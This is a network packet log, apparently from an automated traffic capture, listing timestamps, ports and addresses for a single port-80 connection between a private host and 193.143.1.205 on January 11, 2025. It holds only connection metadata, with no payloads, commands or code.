Jan 11, 2025 02:18:19.757893085 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757920980 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757987976 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758001089 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758028030 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758050919 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758064032 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758100986 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758184910 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758196115 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758232117 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758260012 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758332968 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758346081 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758358002 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758368969 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758369923 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758397102 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758408070 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758565903 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758579016 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758590937 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758631945 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758723021 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758734941 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758747101 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758759022 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.758764029 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758793116 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.758996010 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759010077 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759022951 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759035110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759043932 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759048939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759059906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759067059 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759072065 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759083986 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759094954 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759097099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759113073 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759138107 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759442091 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759454012 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759490013 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759526014 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759538889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759548903 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759560108 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759572983 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759588003 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759617090 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759782076 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759867907 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.759943962 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759957075 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759968042 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759979963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759990931 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.759993076 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760010958 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760020018 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760021925 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760034084 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760045052 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760056019 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760056973 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760083914 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760097027 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760546923 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760559082 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760571957 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760582924 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760595083 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760602951 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760606050 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760617971 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760623932 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760628939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760643005 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760644913 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760654926 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760667086 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.760669947 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760689974 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.760821104 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.761157036 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.761173010 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.761184931 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.761199951 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.761223078 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.764935017 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.764978886 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.764988899 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765033960 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765077114 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765088081 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765141964 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765161991 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765182018 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765192986 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765203953 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765232086 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765285015 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765338898 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765348911 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765382051 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765413046 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765424013 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765434980 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765450001 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765456915 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765466928 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765475035 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765516996 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765530109 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765542984 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765593052 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765628099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765638113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765675068 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765686989 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765697956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765743017 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765796900 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765808105 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765820980 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765830994 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.765846014 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.765891075 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799160004 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799174070 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799185991 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799217939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799228907 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799230099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799251080 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799329996 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799391985 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799410105 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799478054 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799488068 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799499035 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799511909 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799521923 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799530983 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799557924 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799648046 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799659014 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799694061 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799818993 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799830914 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799840927 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799849987 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.799860954 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.799896002 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.804399967 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804426908 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804480076 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804495096 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804528952 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.804553986 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.804585934 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804598093 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804611921 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.804634094 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.810463905 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810492992 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810503960 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810528994 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.810545921 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.810548067 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810560942 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810600042 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.810656071 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810668945 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810681105 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.810713053 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.821887016 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.843967915 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844005108 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844017029 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844038963 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844079971 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844125986 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844137907 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844147921 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844173908 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844252110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844293118 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844580889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844608068 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844618082 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844645977 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844691038 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844702959 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844746113 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844788074 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844799042 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844825029 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844840050 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844871044 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.844883919 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844894886 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844904900 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.844944000 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845011950 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845022917 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845031977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845052004 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845074892 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845132113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845143080 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845151901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845177889 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845242977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845254898 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845293999 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845336914 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845347881 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845356941 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845376015 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845401049 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845468044 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845479012 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845489025 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845499992 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845513105 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845523119 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845534086 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845686913 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845738888 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845745087 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845751047 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845762014 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845797062 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845923901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845935106 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845944881 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845954895 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845964909 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845968008 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.845974922 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845985889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.845995903 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846023083 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846194983 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846205950 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846224070 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846240044 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846240044 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846259117 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846270084 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846282005 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846290112 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846296072 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846318007 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846339941 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846497059 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846590996 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846602917 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846613884 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846626043 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846636057 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846640110 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846647978 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846661091 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846674919 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846919060 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846930981 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846944094 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.846971035 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.846992970 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.847069025 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847079992 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847090960 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847107887 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847116947 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.847120047 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847131014 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847141981 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847145081 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.847151995 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847165108 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.847176075 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.847189903 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852068901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852098942 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852109909 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852116108 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852140903 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852200031 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852211952 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852224112 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852263927 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852339029 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852380991 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852401972 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852412939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852451086 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852541924 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852552891 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852562904 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852575064 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852583885 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852586031 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852617979 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852711916 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852724075 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852736950 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.852761030 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.852771044 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.858145952 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886059046 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886076927 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886089087 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886137009 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886159897 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886172056 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886183977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886207104 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886229038 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886286974 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886306047 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886426926 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886437893 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886450052 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886461973 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886462927 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886492014 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886518955 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.886601925 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886615038 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886626959 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.886650085 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.889377117 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889409065 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889419079 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889427900 CET	49726	80	192.168.2.10	193.143.1.205
